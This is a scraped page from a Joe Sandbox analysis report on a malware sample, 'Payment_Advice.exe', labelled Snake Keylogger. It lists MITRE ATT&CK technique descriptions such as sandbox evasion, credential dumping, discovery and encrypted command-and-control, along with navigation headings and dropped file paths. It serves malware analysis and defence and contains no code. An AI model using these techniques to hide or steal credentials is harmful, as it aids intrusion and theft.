Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Payment_Advice.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\Public\Payment_Advice.pdf

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4b141779-8272-4dee-8709-72b82cd279c6.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Windows Analysis Report
Payment_Advice.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre